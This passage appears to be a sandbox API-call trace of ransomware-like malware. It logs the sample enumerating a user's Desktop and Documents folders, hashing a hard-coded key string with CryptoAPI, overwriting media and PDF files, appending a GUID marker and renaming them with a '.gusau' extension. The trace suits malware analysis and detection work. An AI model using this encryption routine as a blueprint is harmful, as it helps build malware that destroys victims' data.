[0117.845] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.845] GetLastError () returned 0x0 [0117.845] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.845] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0117.846] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xa985, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.846] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.846] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.846] CloseHandle (hObject=0x610) returned 1 [0117.847] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\IqxOJCjnMrxHR71kHDep.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\iqxojcjnmrxhr71khdep.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\IqxOJCjnMrxHR71kHDep.mp3.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\iqxojcjnmrxhr71khdep.mp3.gusau")) returned 1 [0117.848] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0d497a0, ftCreationTime.dwHighDateTime=0x1d4d05f, ftLastAccessTime.dwLowDateTime=0x3512fc0, ftLastAccessTime.dwHighDateTime=0x1d4c7b4, ftLastWriteTime.dwLowDateTime=0x3512fc0, ftLastWriteTime.dwHighDateTime=0x1d4c7b4, nFileSizeHigh=0x0, nFileSizeLow=0xb6e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KMX9gyhiVByA4.mp4", cAlternateFileName="KMX9GY~1.MP4")) returned 1 [0117.848] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\KMX9gyhiVByA4.mp4") returned=".mp4" [0117.848] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\KMX9gyhiVByA4.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\kmx9gyhivbya4.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.848] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=46818) returned 1 [0117.848] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.850] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xb6bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.850] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.852] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xb6e2, lpOverlapped=0x0) returned 1 [0117.852] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.852] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.852] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.852] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0117.853] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.853] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.853] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.853] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.853] GetLastError () returned 0x0 [0117.854] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.854] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0117.854] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xb6e2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.854] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.854] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.854] CloseHandle (hObject=0x610) returned 1 [0117.855] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\KMX9gyhiVByA4.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\kmx9gyhivbya4.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\KMX9gyhiVByA4.mp4.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\kmx9gyhivbya4.mp4.gusau")) returned 1 [0117.856] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x699b24a0, ftCreationTime.dwHighDateTime=0x1d4d459, ftLastAccessTime.dwLowDateTime=0x8a6ae100, ftLastAccessTime.dwHighDateTime=0x1d4d294, ftLastWriteTime.dwLowDateTime=0x8a6ae100, ftLastWriteTime.dwHighDateTime=0x1d4d294, nFileSizeHigh=0x0, nFileSizeLow=0x12dcd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rX Jr.png", cAlternateFileName="RXJR~1.PNG")) returned 1 [0117.856] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\rX Jr.png") returned=".png" [0117.856] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\rX Jr.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\rx jr.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.857] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=77261) returned 1 [0117.857] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.858] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x12da7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.858] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.859] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x12dcd, lpOverlapped=0x0) returned 1 [0117.860] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.860] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.860] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.860] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0117.861] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.861] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.861] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.861] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.861] GetLastError () returned 0x0 [0117.861] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.861] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0117.862] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x12dcd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.862] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.862] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.862] CloseHandle (hObject=0x610) returned 1 [0117.863] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\rX Jr.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\rx jr.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\rX Jr.png.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\rx jr.png.gusau")) returned 1 [0117.866] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x104fbb20, ftCreationTime.dwHighDateTime=0x1d4cf24, ftLastAccessTime.dwLowDateTime=0xbcb4b790, ftLastAccessTime.dwHighDateTime=0x1d4d225, ftLastWriteTime.dwLowDateTime=0xbcb4b790, ftLastWriteTime.dwHighDateTime=0x1d4d225, nFileSizeHigh=0x0, nFileSizeLow=0xdff2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sKevCgi1Mzg9JDdGUMsM.flv", cAlternateFileName="SKEVCG~1.FLV")) returned 1 [0117.866] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\sKevCgi1Mzg9JDdGUMsM.flv") returned=".flv" [0117.866] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\sKevCgi1Mzg9JDdGUMsM.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\skevcgi1mzg9jddgumsm.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.867] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=57330) returned 1 [0117.867] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.868] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xdfcc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.868] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.870] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xdff2, lpOverlapped=0x0) returned 1 [0117.870] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.871] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.871] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.871] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0117.871] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.871] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.871] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.871] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.871] GetLastError () returned 0x0 [0117.872] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.872] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0117.872] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xdff2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.872] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.872] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.872] CloseHandle (hObject=0x610) returned 1 [0117.873] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\sKevCgi1Mzg9JDdGUMsM.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\skevcgi1mzg9jddgumsm.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\sKevCgi1Mzg9JDdGUMsM.flv.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\skevcgi1mzg9jddgumsm.flv.gusau")) returned 1 [0117.875] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x104fbb20, ftCreationTime.dwHighDateTime=0x1d4cf24, ftLastAccessTime.dwLowDateTime=0xbcb4b790, ftLastAccessTime.dwHighDateTime=0x1d4d225, ftLastWriteTime.dwLowDateTime=0xbcb4b790, ftLastWriteTime.dwHighDateTime=0x1d4d225, nFileSizeHigh=0x0, nFileSizeLow=0xdff2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sKevCgi1Mzg9JDdGUMsM.flv", cAlternateFileName="SKEVCG~1.FLV")) returned 0 [0117.875] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0117.875] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0117.875] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0117.875] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\") returned="gck8eKrR\\" [0117.875] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0117.875] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.875] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.875] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0117.875] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.875] PathFindFileNameW (pszPath="") returned="" [0117.875] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8124fb0, ftCreationTime.dwHighDateTime=0x1d4cfef, ftLastAccessTime.dwLowDateTime=0xdd91df70, ftLastAccessTime.dwHighDateTime=0x1d4d558, ftLastWriteTime.dwLowDateTime=0xdd91df70, ftLastWriteTime.dwHighDateTime=0x1d4d558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0117.876] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941b80 | out: hHeap=0xd10000) returned 1 [0117.876] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8124fb0, ftCreationTime.dwHighDateTime=0x1d4cfef, ftLastAccessTime.dwLowDateTime=0xdd91df70, ftLastAccessTime.dwHighDateTime=0x1d4d558, ftLastWriteTime.dwLowDateTime=0xdd91df70, ftLastWriteTime.dwHighDateTime=0x1d4d558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.876] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9f0f2b0, ftCreationTime.dwHighDateTime=0x1d4d096, ftLastAccessTime.dwLowDateTime=0xa7cf1300, ftLastAccessTime.dwHighDateTime=0x1d4d4fc, ftLastWriteTime.dwLowDateTime=0xa7cf1300, ftLastWriteTime.dwHighDateTime=0x1d4d4fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-cJIpQCkg1", cAlternateFileName="-CJIPQ~1")) returned 1 [0117.876] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf08b0 [0117.876] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0117.876] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa8) returned 0x39326e8 [0117.876] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b80 [0117.876] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0117.876] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39418b0 [0117.876] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf07a0 [0117.876] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941c70 | out: hHeap=0xd10000) returned 1 [0117.876] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0718 | out: hHeap=0xd10000) returned 1 [0117.876] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941478 | out: hHeap=0xd10000) returned 1 [0117.876] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0a48 | out: hHeap=0xd10000) returned 1 [0117.876] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.876] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0a48 [0117.876] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0117.876] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf08b0 | out: hHeap=0xd10000) returned 1 [0117.876] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9adc280, ftCreationTime.dwHighDateTime=0x1d4c64c, ftLastAccessTime.dwLowDateTime=0x3c087090, ftLastAccessTime.dwHighDateTime=0x1d4d172, ftLastWriteTime.dwLowDateTime=0x3c087090, ftLastWriteTime.dwHighDateTime=0x1d4d172, nFileSizeHigh=0x0, nFileSizeLow=0x9032, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0d9kggXW.pdf", cAlternateFileName="")) returned 1 [0117.877] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.877] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa6) returned 0x3932798 [0117.877] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.877] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\0d9kggXW.pdf") returned=".pdf" [0117.877] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\0d9kggXW.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\0d9kggxw.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.877] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=36914) returned 1 [0117.877] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.879] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x900c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.879] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.881] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.881] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.881] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.881] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x9032, lpOverlapped=0x0) returned 1 [0117.882] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.882] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.882] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.882] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.882] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0117.883] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.883] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.883] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.883] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.883] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.883] GetLastError () returned 0x0 [0117.883] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.883] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0117.883] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.883] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x9030) returned 0x39f9f20 [0117.883] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.883] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.883] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x902d, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x902d, lpOverlapped=0x0) returned 1 [0117.883] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.883] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x9032, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.883] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0117.883] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.884] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.884] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.884] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb268 | out: hHeap=0xd10000) returned 1 [0117.884] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.884] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.884] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.884] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, 